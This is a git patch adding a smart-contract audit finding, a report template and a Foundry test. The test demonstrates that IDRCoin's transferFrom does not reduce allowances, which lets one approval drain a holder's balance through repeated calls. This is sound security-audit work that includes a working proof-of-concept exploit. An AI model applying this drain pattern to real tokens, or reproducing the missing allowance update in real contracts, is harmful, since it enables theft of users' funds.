From 03396419842be1a6c54d8f53ab31507ce3c8d0f2 Mon Sep 17 00:00:00 2001 From: han Date: Fri, 24 Jan 2025 18:07:18 +0700 Subject: [PATCH] add finding H-1 related to multiple transferFrom --- ...e-used-multiple-times-with-transferFrom.md | 56 +++++++++ audit/template.md | 19 +++ test/Base.audit.transfer.t.sol | 108 ++++++++++++++++++ 3 files changed, 183 insertions(+) create mode 100644 audit/h1-IDRCoin-approve-can-be-used-multiple-times-with-transferFrom.md create mode 100644 audit/template.md create mode 100644 test/Base.audit.transfer.t.sol diff --git a/audit/h1-IDRCoin-approve-can-be-used-multiple-times-with-transferFrom.md b/audit/h1-IDRCoin-approve-can-be-used-multiple-times-with-transferFrom.md new file mode 100644 index 0000000..21e17ab --- /dev/null +++ b/audit/h1-IDRCoin-approve-can-be-used-multiple-times-with-transferFrom.md @@ -0,0 +1,56 @@ +# [H-1] IDRCoin approve function can be used to call transferFrom multiple times + +## Finding description and impact + +IDRCoin enables a user to let someone to use a certain amount of their token through `approve` function. It will set the `allowances[msg.sender][_spender] = _amount;` which `_spender` is the other user, and `_amount` is the limit amount of token the other user can use. + +Once `approve` is called, the other user can use the amount of token through `transferFrom` function. Other user can call `transferFrom` to send the `approved` amount of token from the prior user to anyone. But the problem is, once `approve` is called, the other user can call `transferFrom` multiple times and draining the prior user wallet. + +## Proof of Concept + +The code [https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158](https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158) + +`transferFrom` function doesn't update the `allowances`. Once `approve` function is called, the trusted spender can drain money through calling `transferFrom` multiple times. + +```solidity + function test_failIf_transferFromIDRCoinMoreThanOnce() public { + // create charlie address as the receiver + address charlie = makeAddr("charlie"); + + // alice convert 100 dollar worth of usdt + convertUSDTtoIDR(alice, 100e6); + vm.startPrank(alice); + uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4; + + // alice approve bob to transfer her IDRCoin + idrCoin.approve(bob, spendingAllowance); + vm.stopPrank(); + + // bob transfer the IDRCoin from alice to charlie + vm.startPrank(bob); + idrCoin.transferFrom(alice, charlie, spendingAllowance); + vm.stopPrank(); + + // assert that now alice has his balance reduced to the amount of spendingAllowance + assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3); + // assert that bob still has 0 because bob called `transferFrom` but doesn't send to himself + assertEq(idrCoin.balanceOf(bob), 0); + // assert that charlie as the receiver received the amount of spendingAllowance + assertEq(idrCoin.balanceOf(charlie), spendingAllowance); + + // bob try to transfer the IDRCoin again from alice to charlie + vm.startPrank(bob); + idrCoin.transferFrom(alice, charlie, spendingAllowance); + vm.stopPrank(); + + // assert now alice has its balance reduced twice by spendingAllowance + assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2); + assertEq(idrCoin.balanceOf(bob), 0); + // assert now charlie has its balance increased twice by spendingAllowance + assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2); +} +``` + +## Recommended mitigation steps + +Mutate the `allowance` storage variable after the ERC20 transfer succeded in `transferFrom` diff --git a/audit/template.md b/audit/template.md new file mode 100644 index 0000000..b96f66a --- /dev/null +++ b/audit/template.md @@ -0,0 +1,19 @@ +# [Severity] Tittle + +## Finding description and impact + +Write a detailed description of the root cause and impact(s) of this finding. + +## Proof of Concept + +Explain and rationalize the potential impact. Provide: +- direct links to all referenced code in GitHub +- screenshots, logs, or any other relevant proof that illustrates the concept +- any additional research or code needed to validate the claims made in your submission + +A coded proof of concept is recommended for high severity findings. + +## Recommended mitigation steps + +Describe the best method(s) to mitigate the finding. + diff --git a/test/Base.audit.transfer.t.sol b/test/Base.audit.transfer.t.sol new file mode 100644 index 0000000..30f2d2a --- /dev/null +++ b/test/Base.audit.transfer.t.sol @@ -0,0 +1,108 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.28; + +import "forge-std/Test.sol"; +import {IDRCoin} from "../src/IDRCoin.sol"; +import {BankHub} from "../src/BankHub.sol"; +import {USDTMock} from "./ERC20Mock.sol"; + +contract Base is Test { + IDRCoin public idrCoin; + BankHub public bankHub; + USDTMock public usdtMock; + + address admin = makeAddr("admin"); + address taxCollector = makeAddr("taxCollector"); + address bankABC = makeAddr("bankABC"); + address bankIRB = makeAddr("bankIRB"); + + address alice = makeAddr("alice"); + address bob = makeAddr("bob"); + + function setUp() public { + vm.startPrank(admin); + // deploy the contract + idrCoin = new IDRCoin(admin, taxCollector); + bankHub = new BankHub(admin); + usdtMock = new USDTMock(); + + // set the bankHub address in idrCoin + idrCoin.setBankHub(address(bankHub)); + + // set usdtMock address in idrCoin + idrCoin.setUSDT(address(usdtMock)); + + // set the idrCoin address in bankHub + bankHub.setIDRCoin(address(idrCoin)); + + // set bank ABC and bank IRB as whiteListed + bankHub.whiteList(bankABC); + bankHub.whiteList(bankIRB); + + // mint some USDT to alice and bob + usdtMock.mint(alice, 1000e6); + // usdtMock.mint(bob, 1000e6); + + vm.stopPrank(); + } + + // helper function for converting USDT to IDRCoin + function convertUSDTtoIDR(address user, uint256 amountInUSDT) public { + vm.startPrank(user); + if (usdtMock.balanceOf(user) < amountInUSDT) { + usdtMock.mint(user, amountInUSDT); + } + usdtMock.approve(address(idrCoin), amountInUSDT); + idrCoin.convertUSDtoIDR(amountInUSDT); + console.log("user balance: ", idrCoin.balanceOf(user)); + + // check the balance is reduced by tax + uint256 conversionRate = idrCoin.CONVERSION_RATE(); + uint256 tax = idrCoin.TAX(); + uint256 denominator = idrCoin.DENOMINATOR(); + uint256 idrCoinDecimals = idrCoin.decimals(); + uint256 usdtDecimals = usdtMock.decimals(); + uint256 idrAmount = ((amountInUSDT * conversionRate) / + 10 ** usdtDecimals) * 10 ** idrCoinDecimals; + uint256 taxAmount = (idrAmount * tax) / denominator; + uint256 balance = idrCoin.balanceOf(user); + assertEq(balance, idrAmount - taxAmount); + + vm.stopPrank(); + } + + function test_failIf_transferFromIDRCoinMoreThanOnce() public { + // create charlie address + address charlie = makeAddr("charlie"); + + // alice convert 100 dollar worth of usdt + convertUSDTtoIDR(alice, 100e6); + vm.startPrank(alice); + uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4; + + // alice approve bob to transfer her IDRCoin + idrCoin.approve(bob, spendingAllowance); + vm.stopPrank(); + + // bob transfer the IDRCoin from alice to charlie + vm.startPrank(bob); + idrCoin.transferFrom(alice, charlie, spendingAllowance); + vm.stopPrank(); + + // assert + assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3); + assertEq(idrCoin.balanceOf(bob), 0); + assertEq(idrCoin.balanceOf(charlie), spendingAllowance); + + // bob try to transfer the IDRCoin again from alice to bob + vm.startPrank(bob); + idrCoin.transferFrom(alice, charlie, spendingAllowance); + vm.stopPrank(); + + // assert + assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2); + assertEq(idrCoin.balanceOf(bob), 0); + assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2); + } +}